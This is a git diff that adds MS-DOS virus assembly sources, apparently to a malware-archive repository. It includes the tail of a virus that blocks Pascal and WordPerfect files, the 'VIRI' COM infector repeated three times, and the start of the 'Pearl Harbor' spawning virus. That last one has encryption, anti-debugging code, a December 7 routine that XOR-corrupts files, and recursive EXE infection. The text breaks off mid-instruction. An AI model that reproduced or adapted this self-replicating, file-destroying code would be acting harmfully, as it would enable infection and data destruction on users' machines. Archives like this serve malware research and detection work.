pop ax + pop dx + pop ds + ret + +wpbuff db ' ' +;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +; Deny access to any PASCAL or WORD PERFECT files +;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +PAS_WP: + xchg bx,ax + + mov si,dx + cld +search_pas: + lodsw + dec si + + cmp al,0 + je not_pas + cmp ah,0 + je not_pas + + and ax,0DFDFh + + cmp ax,'P.' and 0DFDFh + jne search_pas + mov ax,word [si+1] + and ax,0DFDFh + cmp ax,'SA' + je fuck_wp +not_pas: + xchg bx,ax + call int21 + jc not_wp + + xchg bx,ax + cmp bx,5 + jb not_wp + + xor si,si + + mov ah,3Fh + mov cx,3 + push cs + pop ds + mov dx,offset wpbuff + call int21 + + jc close_wp + cmp cx,3 + jne close_wp + + cmp word wpbuff[1],'PW' + + jne close_wp + + inc si +close_wp: + mov ah,3Eh + call int21 + cmp si,0 + je not_wp + +fuck_wp: pop si + call reset_i24 + call pop_all + popf + mov ax,4 + stc + retf 2 +not_wp: + mov ah,3Dh + ret + +;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +; Anti WiNDOWS Routine +; (Just started... Not at all ready!!!) +;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +windows: + ret + +;; call push_all +; xchg cx,ax +; mov di,dx +; push ds +; pop es +; cld +; xor al,al +;winsrc: repnz scasb +; jne win_fail +; +; sub di,8 +; xchg si,di + + +;db 'Elo‹, Elo‹, lam  sabakt ni?' + +dummy db 18h dup(0) ;3 + +version db ver ;\ +size dw (offset total)-100h ; > 6 bytes +db 'PCBB' ;/ + +total: + tsr_para equ ((1024*6)/16) +2 ;equ (($-100h / 16)+2)*2 + + + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.pe#1.asm b/MSDOS/Virus.MSDOS.Unknown.pe#1.asm new file mode 100644 index 00000000..de11bff0 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.pe#1.asm @@ -0,0 +1 @@ + PAGE 59,132 ;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ ;ŪŪ ŪŪ ;ŪŪ VIRI ŪŪ ;ŪŪ ŪŪ ;ŪŪ Created: 7-Jan-92 ŪŪ ;ŪŪ ŪŪ ;ŪŪ Disassembled by -=>Wasp<=- aka >>Night Crawler<< ŪŪ ;ŪŪ Reassemble with TASM 2.0 ŪŪ ;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ DATA_1E EQU 0 DATA_2E EQU 0DH DATA_3E EQU 19H DATA_4E EQU 1CH DATA_5E EQU 3AH DATA_6E EQU 47H SEG_A SEGMENT BYTE PUBLIC ASSUME CS:SEG_A, DS:SEG_A ORG 100h VIRI PROC FAR START: JMP SHORT LOC_2 ; (0151) DB 90H, 2AH, 2EH, 43H, 4FH, 4DH DB 00H, 5CH, 2AH, 2EH, 43H, 4FH DB 4DH, 00H DB '\DOS\*.COM' DB 00H, 00H,0CDH, 20H DB 44 DUP (0) DB 0E9H, 00H, 00H,0B4H, 85H, 00H DB 00H LOC_2: MOV DX,103H CLD ; Clear direction MOV SI,DX ADD SI,19H MOV DI,OFFSET DS:[100H] MOV CX,3 REP MOVSB ; Rep when cx >0 Mov [si] to es:[di] MOV SI,DX MOV AX,3524H INT 21H ; DOS Services ah=function 35h ; get intrpt vector al in es:bx PUSH ES PUSH BX MOV AX,2524H ;* MOV DX,OFFSET LOC_1 ;* DB 0BAH,0B6H, 00H ADD DX,SI INT 21H ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx PUSH DS POP ES PUSH ES MOV AH,2FH ; '/' INT 21H ; DOS Services ah=function 2Fh ; get DTA ptr into es:bx MOV [SI+4AH],ES MOV [SI+4CH],BX POP ES MOV AH,1AH MOV DX,DATA_4E ADD DX,SI INT 21H ; DOS Services ah=function 1Ah ; set DTA to ds:dx MOV AH,4EH ; 'N' CMP BYTE PTR [SI+18H],10H JA LOC_3 ; Jump if above MOV DX,0 ADD DX,SI JMP SHORT LOC_5 ; (01AF) DB 90H LOC_3: CMP BYTE PTR [SI+18H],20H ; ' ' JA LOC_4 ; Jump if above MOV DX,6 ADD DX,SI JMP SHORT LOC_5 ; (01AF) DB 90H LOC_4: MOV DX,DATA_2E ADD DX,SI LOC_5: MOV CX,23H INT 21H ; DOS Services ah=function 4Eh ; find 1st filenam match @ds:dx JC LOC_6 ; Jump if carry Set JMP SHORT LOC_8 ; (01DE) DB 90H VIRI ENDP ;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ ; ; External Entry Point ; ;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ INT_24H_ENTRY PROC FAR MOV AL,0 IRET ; Interrupt return INT_24H_ENTRY ENDP LOC_6: MOV AX,[SI+4AH] MOV DS,AX MOV DX,[SI+4CH] MOV AH,1AH INT 21H ; DOS Services ah=function 1Ah ; set DTA to ds:dx MOV AX,2524H POP DX POP DS INT 21H ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx PUSH ES POP DS MOV DI,OFFSET START PUSH DI RETN 0FFFFH LOC_7: MOV AH,4FH ; 'O' INT 21H ; DOS Services ah=function 4Fh ; find next filename match JC LOC_6 ; Jump if carry Set LOC_8: MOV AX,[SI+36H] CMP AX,400H JB LOC_7 ; Jump if below CMP AX,0F230H JA LOC_7 ; Jump if above MOV AX,4301H MOV DX,DATA_5E ADD DX,SI MOV CX,0 INT 21H ; DOS Services ah=function 43h ; get/set file attrb, nam@ds:dx MOV DX,DATA_5E ADD DX,SI MOV AX,3D02H INT 21H ; DOS Services ah=function 3Dh ; open file, al=mode,name@ds:dx JC LOC_10 ; Jump if carry Set XCHG AX,BX MOV DX,DATA_3E ADD DX,SI MOV CX,3 MOV AH,3FH ; '?' INT 21H ; DOS Services ah=function 3Fh ; read file, cx=bytes, to ds:dx JC LOC_10 ; Jump if carry Set MOV CL,[SI+1AH] MOV CH,[SI+1BH] MOV AX,[SI+36H] SUB AX,1ADH ADD AX,4BH CMP AX,CX JE LOC_10 ; Jump if equal MOV AX,4202H XOR CX,CX ; Zero register XOR DX,DX ; Zero register INT 21H ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset JC LOC_10 ; Jump if carry Set MOV DI,SI ADD DI,4FH ADD AX,100H MOV [DI],AX SUB AX,103H MOV [SI+48H],AX ADD WORD PTR [SI+48H],4EH INC BYTE PTR [SI+18H] CMP BYTE PTR [SI+18H],30H ; '0' JB LOC_9 ; Jump if below MOV BYTE PTR [SI+18H],0 LOC_9: MOV AH,40H ; '@' MOV DX,DATA_1E ADD DX,SI MOV CX,1ADH INT 21H ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx JC LOC_10 ; Jump if carry Set MOV AX,4200H XOR CX,CX ; Zero register XOR DX,DX ; Zero register INT 21H ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset JC LOC_10 ; Jump if carry Set MOV AH,40H ; '@' MOV CX,3 MOV DX,DATA_6E ADD DX,SI INT 21H ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx LOC_10: MOV CX,[SI+32H] MOV DX,[SI+34H] MOV AX,5701H INT 21H ; DOS Services ah=function 57h ; get/set file date & time MOV AH,3EH ; '>' INT 21H ; DOS Services ah=function 3Eh ; close file, bx=file handle MOV AX,4301H MOV CX,[SI+31H] XOR CH,CH ; Zero register MOV DX,DATA_5E ADD DX,SI INT 21H ; DOS Services ah=function 43h ; get/set file attrb, nam@ds:dx JMP LOC_7 ; (01D8) DB 'Public enemy number one' SEG_A ENDS END START \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.pe%231.asm b/MSDOS/Virus.MSDOS.Unknown.pe%231.asm new file mode 100644 index 00000000..de11bff0 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.pe%231.asm @@ -0,0 +1 @@ + PAGE 59,132 ;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ ;ŪŪ ŪŪ ;ŪŪ VIRI ŪŪ ;ŪŪ ŪŪ ;ŪŪ Created: 7-Jan-92 ŪŪ ;ŪŪ ŪŪ ;ŪŪ Disassembled by -=>Wasp<=- aka >>Night Crawler<< ŪŪ ;ŪŪ Reassemble with TASM 2.0 ŪŪ ;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ DATA_1E EQU 0 DATA_2E EQU 0DH DATA_3E EQU 19H DATA_4E EQU 1CH DATA_5E EQU 3AH DATA_6E EQU 47H SEG_A SEGMENT BYTE PUBLIC ASSUME CS:SEG_A, DS:SEG_A ORG 100h VIRI PROC FAR START: JMP SHORT LOC_2 ; (0151) DB 90H, 2AH, 2EH, 43H, 4FH, 4DH DB 00H, 5CH, 2AH, 2EH, 43H, 4FH DB 4DH, 00H DB '\DOS\*.COM' DB 00H, 00H,0CDH, 20H DB 44 DUP (0) DB 0E9H, 00H, 00H,0B4H, 85H, 00H DB 00H LOC_2: MOV DX,103H CLD ; Clear direction MOV SI,DX ADD SI,19H MOV DI,OFFSET DS:[100H] MOV CX,3 REP MOVSB ; Rep when cx >0 Mov [si] to es:[di] MOV SI,DX MOV AX,3524H INT 21H ; DOS Services ah=function 35h ; get intrpt vector al in es:bx PUSH ES PUSH BX MOV AX,2524H ;* MOV DX,OFFSET LOC_1 ;* DB 0BAH,0B6H, 00H ADD DX,SI INT 21H ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx PUSH DS POP ES PUSH ES MOV AH,2FH ; '/' INT 21H ; DOS Services ah=function 2Fh ; get DTA ptr into es:bx MOV [SI+4AH],ES MOV [SI+4CH],BX POP ES MOV AH,1AH MOV DX,DATA_4E ADD DX,SI INT 21H ; DOS Services ah=function 1Ah ; set DTA to ds:dx MOV AH,4EH ; 'N' CMP BYTE PTR [SI+18H],10H JA LOC_3 ; Jump if above MOV DX,0 ADD DX,SI JMP SHORT LOC_5 ; (01AF) DB 90H LOC_3: CMP BYTE PTR [SI+18H],20H ; ' ' JA LOC_4 ; Jump if above MOV DX,6 ADD DX,SI JMP SHORT LOC_5 ; (01AF) DB 90H LOC_4: MOV DX,DATA_2E ADD DX,SI LOC_5: MOV CX,23H INT 21H ; DOS Services ah=function 4Eh ; find 1st filenam match @ds:dx JC LOC_6 ; Jump if carry Set JMP SHORT LOC_8 ; (01DE) DB 90H VIRI ENDP ;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ ; ; External Entry Point ; ;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ INT_24H_ENTRY PROC FAR MOV AL,0 IRET ; Interrupt return INT_24H_ENTRY ENDP LOC_6: MOV AX,[SI+4AH] MOV DS,AX MOV DX,[SI+4CH] MOV AH,1AH INT 21H ; DOS Services ah=function 1Ah ; set DTA to ds:dx MOV AX,2524H POP DX POP DS INT 21H ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx PUSH ES POP DS MOV DI,OFFSET START PUSH DI RETN 0FFFFH LOC_7: MOV AH,4FH ; 'O' INT 21H ; DOS Services ah=function 4Fh ; find next filename match JC LOC_6 ; Jump if carry Set LOC_8: MOV AX,[SI+36H] CMP AX,400H JB LOC_7 ; Jump if below CMP AX,0F230H JA LOC_7 ; Jump if above MOV AX,4301H MOV DX,DATA_5E ADD DX,SI MOV CX,0 INT 21H ; DOS Services ah=function 43h ; get/set file attrb, nam@ds:dx MOV DX,DATA_5E ADD DX,SI MOV AX,3D02H INT 21H ; DOS Services ah=function 3Dh ; open file, al=mode,name@ds:dx JC LOC_10 ; Jump if carry Set XCHG AX,BX MOV DX,DATA_3E ADD DX,SI MOV CX,3 MOV AH,3FH ; '?' INT 21H ; DOS Services ah=function 3Fh ; read file, cx=bytes, to ds:dx JC LOC_10 ; Jump if carry Set MOV CL,[SI+1AH] MOV CH,[SI+1BH] MOV AX,[SI+36H] SUB AX,1ADH ADD AX,4BH CMP AX,CX JE LOC_10 ; Jump if equal MOV AX,4202H XOR CX,CX ; Zero register XOR DX,DX ; Zero register INT 21H ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset JC LOC_10 ; Jump if carry Set MOV DI,SI ADD DI,4FH ADD AX,100H MOV [DI],AX SUB AX,103H MOV [SI+48H],AX ADD WORD PTR [SI+48H],4EH INC BYTE PTR [SI+18H] CMP BYTE PTR [SI+18H],30H ; '0' JB LOC_9 ; Jump if below MOV BYTE PTR [SI+18H],0 LOC_9: MOV AH,40H ; '@' MOV DX,DATA_1E ADD DX,SI MOV CX,1ADH INT 21H ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx JC LOC_10 ; Jump if carry Set MOV AX,4200H XOR CX,CX ; Zero register XOR DX,DX ; Zero register INT 21H ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset JC LOC_10 ; Jump if carry Set MOV AH,40H ; '@' MOV CX,3 MOV DX,DATA_6E ADD DX,SI INT 21H ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx LOC_10: MOV CX,[SI+32H] MOV DX,[SI+34H] MOV AX,5701H INT 21H ; DOS Services ah=function 57h ; get/set file date & time MOV AH,3EH ; '>' INT 21H ; DOS Services ah=function 3Eh ; close file, bx=file handle MOV AX,4301H MOV CX,[SI+31H] XOR CH,CH ; Zero register MOV DX,DATA_5E ADD DX,SI INT 21H ; DOS Services ah=function 43h ; get/set file attrb, nam@ds:dx JMP LOC_7 ; (01D8) DB 'Public enemy number one' SEG_A ENDS END START \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.pe_231.asm b/MSDOS/Virus.MSDOS.Unknown.pe_231.asm new file mode 100644 index 00000000..de11bff0 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.pe_231.asm @@ -0,0 +1 @@ + PAGE 59,132 ;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ ;ŪŪ ŪŪ ;ŪŪ VIRI ŪŪ ;ŪŪ ŪŪ ;ŪŪ Created: 7-Jan-92 ŪŪ ;ŪŪ ŪŪ ;ŪŪ Disassembled by -=>Wasp<=- aka >>Night Crawler<< ŪŪ ;ŪŪ Reassemble with TASM 2.0 ŪŪ ;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ DATA_1E EQU 0 DATA_2E EQU 0DH DATA_3E EQU 19H DATA_4E EQU 1CH DATA_5E EQU 3AH DATA_6E EQU 47H SEG_A SEGMENT BYTE PUBLIC ASSUME CS:SEG_A, DS:SEG_A ORG 100h VIRI PROC FAR START: JMP SHORT LOC_2 ; (0151) DB 90H, 2AH, 2EH, 43H, 4FH, 4DH DB 00H, 5CH, 2AH, 2EH, 43H, 4FH DB 4DH, 00H DB '\DOS\*.COM' DB 00H, 00H,0CDH, 20H DB 44 DUP (0) DB 0E9H, 00H, 00H,0B4H, 85H, 00H DB 00H LOC_2: MOV DX,103H CLD ; Clear direction MOV SI,DX ADD SI,19H MOV DI,OFFSET DS:[100H] MOV CX,3 REP MOVSB ; Rep when cx >0 Mov [si] to es:[di] MOV SI,DX MOV AX,3524H INT 21H ; DOS Services ah=function 35h ; get intrpt vector al in es:bx PUSH ES PUSH BX MOV AX,2524H ;* MOV DX,OFFSET LOC_1 ;* DB 0BAH,0B6H, 00H ADD DX,SI INT 21H ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx PUSH DS POP ES PUSH ES MOV AH,2FH ; '/' INT 21H ; DOS Services ah=function 2Fh ; get DTA ptr into es:bx MOV [SI+4AH],ES MOV [SI+4CH],BX POP ES MOV AH,1AH MOV DX,DATA_4E ADD DX,SI INT 21H ; DOS Services ah=function 1Ah ; set DTA to ds:dx MOV AH,4EH ; 'N' CMP BYTE PTR [SI+18H],10H JA LOC_3 ; Jump if above MOV DX,0 ADD DX,SI JMP SHORT LOC_5 ; (01AF) DB 90H LOC_3: CMP BYTE PTR [SI+18H],20H ; ' ' JA LOC_4 ; Jump if above MOV DX,6 ADD DX,SI JMP SHORT LOC_5 ; (01AF) DB 90H LOC_4: MOV DX,DATA_2E ADD DX,SI LOC_5: MOV CX,23H INT 21H ; DOS Services ah=function 4Eh ; find 1st filenam match @ds:dx JC LOC_6 ; Jump if carry Set JMP SHORT LOC_8 ; (01DE) DB 90H VIRI ENDP ;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ ; ; External Entry Point ; ;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ INT_24H_ENTRY PROC FAR MOV AL,0 IRET ; Interrupt return INT_24H_ENTRY ENDP LOC_6: MOV AX,[SI+4AH] MOV DS,AX MOV DX,[SI+4CH] MOV AH,1AH INT 21H ; DOS Services ah=function 1Ah ; set DTA to ds:dx MOV AX,2524H POP DX POP DS INT 21H ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx PUSH ES POP DS MOV DI,OFFSET START PUSH DI RETN 0FFFFH LOC_7: MOV AH,4FH ; 'O' INT 21H ; DOS Services ah=function 4Fh ; find next filename match JC LOC_6 ; Jump if carry Set LOC_8: MOV AX,[SI+36H] CMP AX,400H JB LOC_7 ; Jump if below CMP AX,0F230H JA LOC_7 ; Jump if above MOV AX,4301H MOV DX,DATA_5E ADD DX,SI MOV CX,0 INT 21H ; DOS Services ah=function 43h ; get/set file attrb, nam@ds:dx MOV DX,DATA_5E ADD DX,SI MOV AX,3D02H INT 21H ; DOS Services ah=function 3Dh ; open file, al=mode,name@ds:dx JC LOC_10 ; Jump if carry Set XCHG AX,BX MOV DX,DATA_3E ADD DX,SI MOV CX,3 MOV AH,3FH ; '?' INT 21H ; DOS Services ah=function 3Fh ; read file, cx=bytes, to ds:dx JC LOC_10 ; Jump if carry Set MOV CL,[SI+1AH] MOV CH,[SI+1BH] MOV AX,[SI+36H] SUB AX,1ADH ADD AX,4BH CMP AX,CX JE LOC_10 ; Jump if equal MOV AX,4202H XOR CX,CX ; Zero register XOR DX,DX ; Zero register INT 21H ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset JC LOC_10 ; Jump if carry Set MOV DI,SI ADD DI,4FH ADD AX,100H MOV [DI],AX SUB AX,103H MOV [SI+48H],AX ADD WORD PTR [SI+48H],4EH INC BYTE PTR [SI+18H] CMP BYTE PTR [SI+18H],30H ; '0' JB LOC_9 ; Jump if below MOV BYTE PTR [SI+18H],0 LOC_9: MOV AH,40H ; '@' MOV DX,DATA_1E ADD DX,SI MOV CX,1ADH INT 21H ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx JC LOC_10 ; Jump if carry Set MOV AX,4200H XOR CX,CX ; Zero register XOR DX,DX ; Zero register INT 21H ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset JC LOC_10 ; Jump if carry Set MOV AH,40H ; '@' MOV CX,3 MOV DX,DATA_6E ADD DX,SI INT 21H ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx LOC_10: MOV CX,[SI+32H] MOV DX,[SI+34H] MOV AX,5701H INT 21H ; DOS Services ah=function 57h ; get/set file date & time MOV AH,3EH ; '>' INT 21H ; DOS Services ah=function 3Eh ; close file, bx=file handle MOV AX,4301H MOV CX,[SI+31H] XOR CH,CH ; Zero register MOV DX,DATA_5E ADD DX,SI INT 21H ; DOS Services ah=function 43h ; get/set file attrb, nam@ds:dx JMP LOC_7 ; (01D8) DB 'Public enemy number one' SEG_A ENDS END START \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.pearlhbr.asm b/MSDOS/Virus.MSDOS.Unknown.pearlhbr.asm new file mode 100644 index 00000000..6a9f28b3 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.pearlhbr.asm @@ -0,0 +1,434 @@ +; PEARLHBR.ASM -- Pearl Harbor Virus +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by Nowhere Man + +virus_type equ 2 ; Spawning Virus +is_encrypted equ 1 ; We're encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +start label near + +main proc near + call encrypt_decrypt ; Decrypt the virus + +start_of_code label near + +stop_tracing: mov cx,09EBh + mov ax,0FE05h ; Acutal move, plus a HaLT + jmp $-2 + add ah,03Bh ; AH now equals 025h + jmp $-10 ; Execute the HaLT + mov bx,offset null_vector ; BX points to new routine + push cs ; Transfer CS into ES + pop es ; using a PUSH/POP + int 021h + mov al,1 ; Disable interrupt 1, too + int 021h + jmp short skip_null ; Hop over the loop +null_vector: jmp $ ; An infinite loop +skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged +lock_keys: mov al,128 ; Change here screws DEBUG + out 021h,al ; If tracing then lock keyboard + + call get_month + cmp ax,000Ch ; Did the function return 12? + jne skip00 ; If not equal, skip effect + call get_day + cmp ax,0007h ; Did the function return 7? + jne skip00 ; If not equal, skip effect + jmp short strt00 ; Success -- skip jump +skip00: jmp end00 ; Skip the routine +strt00: mov si,offset data00 ; SI points to data + mov ah,0Eh ; BIOS display char. function +display_loop: lodsb ; Load the next char. into AL + or al,al ; Is the character a null? + je disp_strnend ; If it is, exit + int 010h ; BIOS video interrupt + jmp short display_loop ; Do the next character +disp_strnend: + +end00: call get_country + cmp ax,0051h ; Did the function return 81? + jne skip01 ; If not equal, skip effect + call get_month + cmp ax,000Ch ; Did the function return 12? + jne skip01 ; If not equal, skip effect + call get_day + cmp ax,0007h ; Did the function return 7? + jne skip01 ; If not equal, skip effect + jmp short strt01 ; Success -- skip jump +skip01: jmp end01 ; Skip the routine +strt01: mov dx,offset data01 ; DX points to data + push bp ; Save BP + mov bp,sp ; BP points to stack frame + sub sp,4096 ; Allocate 4096-byte buffer + push di ; Save DI + mov ah,02Fh ; DOS get DTA function + int 021h + mov di,bx ; DI points to DTA + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + int 021h + jc corrupt_end ; If no files found then exit +corrupt_file: mov ax,04301h ; DOS set file attributes function + xor cx,cx ; File will have no attributes + lea dx,[di + 01Eh] ; DX points to file name + int 021h + mov ax,03D02h ; DOS open file function, r/w + lea dx,[di + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; Transfer file handle to AX +c_crypt_loop: mov ah,03Fh ; DOS read from file function + mov cx,4096 ; Read 4k of characters + lea dx,[bp - 4096] ; DX points to the buffer + int 021h + or ax,ax ; Were 0 bytes read? + je close_c_file ; If so then close it up + push ax ; Save AX + lea si,[bp - 4096] ; SI points to the buffer + xor ah,ah ; BIOS get clock ticks function + int 01Ah + pop cx ; CX holds number of bytes read + push cx ; Save CX +corrupt_bytes: xor byte ptr [si],dl ; XOR byte by clock ticks + inc si ; Do the next byte + inc dx ; Change the key for next byte + loop corrupt_bytes ; Repeat until buffer is done + pop dx ; Restore DX (holds bytes read) + push dx ; Save count for write + mov ax,04201h ; DOS file seek function, current + mov cx,0FFFFh ; Seeking backwards + neg dx ; Seeking backwards + int 021h + mov ah,040h ; DOS write to file function + pop cx ; CX holds number of bytes read + lea dx,[bp - 4096] ; DX points to the buffer + int 021h + jmp short c_crypt_loop +close_c_file: mov ax,05701h ; DOS set file date/time function + mov cx,[di + 016h] ; CX holds old file time + mov dx,[di + 018h] ; DX holds old file data + int 021h + mov ah,03Eh ; DOS close file function + int 021h + mov ax,04301h ; DOS set file attributes function + xor ch,ch ; Clear CH for attributes + mov cl,[di + 015h] ; CL holds old attributes + lea dx,[di + 01Eh] ; DX points to file name + int 021h + mov ah,04Fh ; DOS find next file function + int 021h + jnc corrupt_file ; If successful do next file +corrupt_end: pop di ; Restore DI + mov sp,bp ; Deallocate local buffer + pop bp ; Restore BP + +end01: + mov ah,04Ah ; DOS resize memory function + mov bx,(finish - start) / 16 + 0272h ; BX holds # of para. + int 021h + + mov sp,(finish - start) + 01100h ; Change top of stack + + mov si,offset spawn_name ; SI points to true filename + int 02Eh ; DOS execution back-door + push ax ; Save return value for later + + mov ax,cs ; AX holds code segment + mov ds,ax ; Restore data segment + mov es,ax ; Restore extra segment + + call search_files ; Find and infect a file + + pop ax ; AL holds return value + mov ah,04Ch ; DOS terminate function + int 021h +main endp + + + db 010h,07Ch,0E5h,00Ch,0DAh + +search_files proc near + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,64 ; Allocate 64 bytes on stack + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 64] ; SI points to 64-byte buffer + int 021h + + mov ah,03Bh ; DOS change directory function + mov dx,offset root ; DX points to root directory + int 021h + + call traverse ; Start the traversal + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 64] ; DX points to old directory + int 021h + + mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller + +root db "\",0 ; Root directory +search_files endp + +traverse proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first function + mov cx,00010000b ; CX holds search attributes + mov dx,offset all_files ; DX points to "*.*" + int 021h + jc leave_traverse ; Leave if no files present + +check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory? + jne another_dir ; If not, try again + cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."? + je another_dir ;If so, keep going + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 98] ; DX points to new directory + int 021h + + call traverse ; Recursively call ourself + + pushf ; Save the flags + mov ah,03Bh ; DOS change directory function + mov dx,offset up_dir ; DX points to parent directory + int 021h + popf ; Restore the flags + + jnc done_searching ; If we infected then exit + +another_dir: mov ah,04Fh ; DOS find next function + int 021h + jnc check_dir ; If found check the file + +leave_traverse: + mov dx,offset exe_mask ; DX points to "*.EXE" + call find_files ; Try to infect a file +done_searching: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller + +up_dir db "..",0 ; Parent directory name +all_files db "*.*",0 ; Directories to search for +exe_mask db "*.EXE",0 ; Mask for all .EXE files +traverse endp + + db 0D0h,0DCh,083h,09Eh,044h + + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc 